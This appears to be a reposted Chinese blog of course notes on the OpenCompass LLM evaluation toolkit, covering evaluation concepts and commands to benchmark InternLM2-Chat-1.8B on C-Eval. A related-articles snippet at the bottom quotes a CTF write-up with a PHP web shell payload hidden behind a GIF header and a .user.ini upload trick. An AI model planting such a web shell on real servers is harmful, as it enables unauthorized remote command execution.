第七节课《OpenCompass司南--大模型评测实战》

news2024/10/6 20:29:40

OpenCompass 大模型评测实战_哔哩哔哩_bilibili

https://github.com/InternLM/Tutorial/blob/camp2/opencompass/readme.md

InternStudio

一、通过评测促进模型发展

  • 面向未来拓展能力维度:评测体系需增加新能力维度(数学、复杂推理、逻辑推理、代码和智能体等),以全面评估模型性能。
  • 扎根通用能力聚焦垂直行业:在医疗、金融、法律等专业领域,评测需结合行业知识和规范,以评估模型的行业适用性。
  • 高质量中文基准:针对中文场景,需要开发能力准确评估其能力的中文评测基准,促进中文社区的大模型发展。
  • 性能评测反哺能力迭代:通过深入分析评测性能,探索模型能力形成机制,发现模型不足,研究针对性提升策略。

二、大语言模型评测中的挑战

  • 全面性
    • 大模型应用场景千变万化。
    • 模型能力演进迅速
    • 如何设计和构造可扩展的能力维度体系
  • 评测成本
    • 评测数十万道题需要大量算力资源
    • 基于人工打分的主观评测成本高昂
  • 数据污染
    • ​​​​​​​海量语料不可避免带来评测集污染
    • 亟需可靠的数据污染检测技术
    • 如何设计可动态更新高质量评测基准
  • 鲁棒性
    • ​​​​​​​大模型对提示词十分敏感
    • 多次采样情况下模型性能不稳定

三、如何评测大模型

1、根据模型类型的不同评测模型

  • 基座模型:不经过微调
  • 对话模型:
    • 指令数据有监督微调(SFT)
    • 人类偏好对齐(RLHF)
  • 公开权重的开源模型
    • 使用GPU/推理加速卡进行本地推理
  • API模型
    • 发送网络请求获取回复

2、根据评测本身的方式(客观评测与主观评测)

  • 客观评测
    • 问答题
    • 选择题
  • 主观评测:写一首诗
    • 人类评价
    • 模型评价

3、提示词工程

  • 做提示词工程,丰富题目,给模型做推理,然后做评测,评测结果更加真实反映模型性能。

  • 小样本学习:
  • 思维链技术:

4、长文本评测

  • 大海捞针:

汇集社区力量:工具-基准-榜单 三位一体

四、CompassRank:中立全面的性能榜单

  • 大模型
  • 多模态

五、CompassKit:大模型评测全栈工具链

  • 数据污染检查
    • 多种数据污染检测方法
    • 支持主流数据集污染检测
  • 更丰富的模型推理接入
    • 支持多个商业模型API
    • 支持多种推理后端
  • 长文本能力评测
    • 支持长文本大海捞针测试
    • 支持多个主流长文本评测基准
  • 中英文双语主观评测
    • 支持基于大模型评价的主观评测
    • 提供模型打分、模型对战多种能力
    • 灵活切换上百种评价模型

OpenCompass评测流水线

自定义任意模型和数据集,多模型和数据集进行切分,做到并行化(多GPU或任务),多种输出方式

  • VLMEvalKit:多模态评测工具
  • Code-Evaluator:代码评测工具
  • MixtralKit MoE:模型入门工具

六、CompassHub:高质量评测基准社区

开源开放,共建共享的大模型评测基准社区

七、能力维度全面升级

八、夯实基础:自研高质量大模型评测基准

  • MathBench:多层次数学能力评测基准(计算、小学、初中、高中、大学、CE平均分)
    • 梯度难度
    • 题目来源多种多样
    • 循环测评
  •  CIBench:代码解释器能力评测基准
    • 任务和软件的多样性
    • 评测基准具有高度可拓展性
    • 多难度等级设计(10轮以上交互)
  • T-Eval:大模型细粒度工具能力评测基准
    • 规划
    • 检索
    • 指令遵循
    • 推理
    • 理解
    • 评价

各行业垂直领域合作

九、实战

1、安装、

studio-conda -o internlm-base -t opencompass
source activate opencompass
git clone -b 0.2.4 https://github.com/open-compass/opencompass
cd opencompass
pip install -e .
pip install -r requirements.txt
2、数据准备
cp /share/temp/datasets/OpenCompassData-core-20231110.zip /root/opencompass/
unzip OpenCompassData-core-20231110.zip

3、查看支持的数据集和模型

列出所有跟 InternLM 及 C-Eval 相关的配置

python tools/list_configs.py internlm ceval

4、启动评测

评测 InternLM2-Chat-1.8B 模型在 C-Eval 数据集上的性能。 OpenCompass 默认并行启动评估过程。--debug 模式启动评估,并检查是否存在问题。

pip install protobuf
export MKL_SERVICE_FORCE_INTEL=1
#或
export MKL_THREADING_LAYER=GNU

 

python run.py
--datasets ceval_gen \ #数据集
--hf-path /share/new_models/Shanghai_AI_Laboratory/internlm2-chat-1_8b \  # HuggingFace 模型路径
--tokenizer-path /share/new_models/Shanghai_AI_Laboratory/internlm2-chat-1_8b \  # HuggingFace tokenizer 路径(如果与模型路径相同,可以省略)
--tokenizer-kwargs padding_side='left' truncation='left' trust_remote_code=True \  # 构建 tokenizer 的参数
--model-kwargs device_map='auto' trust_remote_code=True \  # 构建模型的参数
--max-seq-len 1024 \  # 模型可以接受的最大序列长度
--max-out-len 16 \  # 生成的最大 token 数
--batch-size 2  \  # 批量大小
--num-gpus 1  # 运行模型所需的 GPU 数量
--work-dir "xxxx/xxx" #结果保存路径,默认outputs/default
--reuse latest #指定时间戳,接着之前的时间戳去跑
--debug #debug模式显示,默认存在log文件夹下
python run.py --datasets ceval_gen --hf-path /share/new_models/Shanghai_AI_Laboratory/internlm2-chat-1_8b --tokenizer-path /share/new_models/Shanghai_AI_Laboratory/internlm2-chat-1_8b --tokenizer-kwargs padding_side='left' truncation='left' trust_remote_code=True --model-kwargs trust_remote_code=True device_map='auto' --max-seq-len 1024 --max-out-len 16 --batch-size 2 --num-gpus 1 --debug

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1646947.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[SUCTF 2019]CheckIn 1

解题步骤 上传木马图片&#xff0c;命名为b.php GIF89a <script languagephp>eval($_POST[cmd])</script>bp抓包&#xff0c;修改数据&#xff1b;然后可看到上传的文件 上传.user.ini文件&#xff0c;内容编写如下&#xff0c;然后bp抓包修改文件类型 GIF8…

MOS产品在光伏逆变器上的应用和产品选型

2023年全球光伏装机量表现优异&#xff0c;根据BloombergNEF统计数据&#xff0c;2023年全球光伏新增装机量444GW&#xff0c;同比增长76.2%&#xff0c;其中约一半新增装机量来自中国。 中国光伏新技术迭代不断&#xff0c;产业链降本增效加速。根据CPIA数据&#xff0c;2022年…

简述 BIO 、NIO 模型

BIO : 同步阻塞I/O&#xff08;Block IO&#xff09; 服务器实现模式为每一个连接一个线程&#xff0c;即客户端有连接请求时服务器就需要启动一个线程进行处理&#xff0c;如果这个连接不做任何事情会造成不必要的线程开销&#xff0c;此处可以通过线程池机制进行优化。 impo…

新的项目springboot

buybuyshenglombok <dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency> 添加依赖 lombok package com.example.demo.pojo;import lombok.AllArgsConstructor; import lombok.Data; import …

【机器学习与实现】线性回归分析

目录 一、相关和回归的概念&#xff08;一&#xff09;变量间的关系&#xff08;二&#xff09;Pearson&#xff08;皮尔逊&#xff09;相关系数 二、线性回归的概念和方程&#xff08;一&#xff09;回归分析概述&#xff08;二&#xff09;线性回归方程 三、线性回归模型的损…

BigDecimal:踩坑

问题描述 两个BigDecimal相除, 抛了异常 原因分析&#xff1a; Java 中使用 BigDecimal 做除法运算的时候&#xff0c;值有可能是无限循环的小数&#xff0c;结果是无限循环的小数&#xff0c;就会抛出上面这个异常。 来看看源码&#xff1a; public BigDecimal divide(BigD…

马常旭新歌《如愿》:音乐界的“旭日”再现

在这个春暖花开的季节&#xff0c;音乐界又迎来了一股清新的“旭日”气息。是的&#xff0c;就在2024年4月17日&#xff0c;马常旭的新歌《如愿》&#xff08;旭日版&#xff09;在网易云音乐上线了&#xff01;一年的等待&#xff0c;终于迎来了他的音乐回归&#xff0c;给我们…

【3D基础】坐标转换——地理坐标投影到平面

汤国安GIS原理第二章重点 1.常见投影方式 https://download.csdn.net/blog/column/9283203/83387473 Web Mercator投影&#xff08;Web Mercator Projection&#xff09;&#xff1a; 优点&#xff1a; 在 Web 地图中广泛使用&#xff0c;易于显示并与在线地图服务集成。在较…

在echarts中使用geojson地图

以中国地图为例 先看效果 代码实现&#xff1a; <div id"refChinaMap" :style"{ width: 75%, height: 100% }"></div>import * as echarts from "echarts"; import ChinaJSON from "./chinaMap.json";const initChinaMa…

场景文本检测识别学习 day09(Swin Transformer论文精读)

Patch & Window 在Swin Transformer中&#xff0c;不同层级的窗口内部的补丁数量是固定的&#xff0c;补丁内部的像素数量也是固定的&#xff0c;如上图的红色框就是不同的窗口&#xff08;Window&#xff09;&#xff0c;窗口内部的灰色框就是补丁&#xff08;Patch&#…

【Linux网络编程】自定义协议+HTTP协议

【Linux网络编程】自定义协议HTTP协议 目录 【Linux网络编程】自定义协议HTTP协议协议定制&#xff0c;序列化和反序列化应用层中的HTTP认识URL&#xff08;网址&#xff09;urlencode和urldecodeHTTP协议格式使用telnet获取百度的根目录资源HTTP的方法表单 HTTP的状态码HTTP常…

一般实现分布式锁都有哪些方式?使用 Redis 如何设计分布式锁?使用 zk 来设计分布式锁可以吗?这两种分布式锁的实现方式哪种效率比较高?

目录 1.Redis 分布式锁 &#xff08;1&#xff09;Redis 最普通的分布式锁 &#xff08;2&#xff09;RedLock 算法 2.zk 分布式锁 3.redis 分布式锁和zk分布式锁的对比 1.Redis 分布式锁 官方叫做 RedLock 算法&#xff0c;是 Redis 官方支持的分布式锁算法。 这个分布式…

[qnx] 通过zcu104 SD卡更新qnx镜像的步骤

0. 概述 本文演示如果给Xlinx zcu104开发板刷入自定义的qnx镜像 1.将拨码开关设置为SD卡启动 如下图所示&#xff0c;将1拨到On,2,3,4拨到Off&#xff0c;即为通过SD启动。 2.准备SD卡中的内容 首先需要将SD格式化为FAT32的&#xff08;如果已经是FAT32格式&#xff0c;则…

力扣每日一题114:二叉树展开为链表

题目 中等 提示 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链表应该同样使用 TreeNode &#xff0c;其中 right 子指针指向链表中下一个结点&#xff0c;而左子指针始终为 null 。展开后的单链表应该与二叉树 先序遍历 顺序相同…

sass-loader和node-sass与node版本的依赖问题

sass-loader和node-sass与node版本的依赖问题 没有人会陪你走到最后&#xff0c;碰到了便是有缘&#xff0c;即使到了要下车的时候&#xff0c;也要心存感激地告别&#xff0c;在心里留下空白的一隅之地&#xff0c;多年后想起时依然心存甘味。——林清玄 报错截图 报错信息 np…

linux/windows安装Tomcat

安装tomcat 注意版本一致问题 Tomcat 10.1.0-M15(alpha)Tomcat 10.0.x-10.0.21Tomcat 9.0.x-9.0.63Tomcat 8.5.x-8.0.53规范版本 Servlet 6.0,JSP 3.1, EL 5.0 WebSocket 2.1&#xff0c;JASPIC 3.0 Servlet 5.0,JSP 3.0, EL 4.0 WebSocket 2.0&#xff0c;JASPIC 2.0 Serv…

20240507最新 ubuntu20.04安装ros noetic

ubuntu20.04安装ros 主要参考博客 【ROS】在 Ubuntu 20.04 安装 ROS 的详细教程_ubuntu20.04安装ros-CSDN博客 出现问题 1.ubuntu20.04 更换清华源报错 ubuntu20.04 更换清华源报错_gvfs metadata is not supported. fallback to teplme-CSDN博客 &#xff1f;&#xff1f…

CNN-BiLSTM-Attention(12种算法优化CNN-BiLSTM-Attention多输入单输出)

12种算法优化CNN-BiLSTM-Attention模型预测的代码。其中Attention模型可以改为单头或者多头&#xff0c;在代码中就是改个数字而已。代码注释已写好如何更改。 12种算法优化CNN-BiLSTM-Attention多特征输入单步预测代码获取戳此处代码获取戳此处代码获取戳此处 主要功能为:采用…

数据库SQL语言实战(七)

前言 这次的有一点点难~~~~~我也写了好久 练习题 题目一 在学生表pub.student中统计名字&#xff08;姓名的第一位是姓氏&#xff0c;其余为名字&#xff0c;不考虑复姓&#xff09;的使用的频率&#xff0c;将统计结果放入表test5_01中 create table test5_01(First_name…

【一步一步了解Java系列】:探索Java基本类型转换的秘密

看到这句话的时候证明&#xff1a;此刻你我都在努力~ 加油陌生人~ 个人主页&#xff1a; Gu Gu Study ​​ 专栏&#xff1a;一步一步了解Java 喜欢的一句话&#xff1a; 常常会回顾努力的自己&#xff0c;所以要为自己的努力留下足迹。 如果喜欢能否点个赞支持一下&#…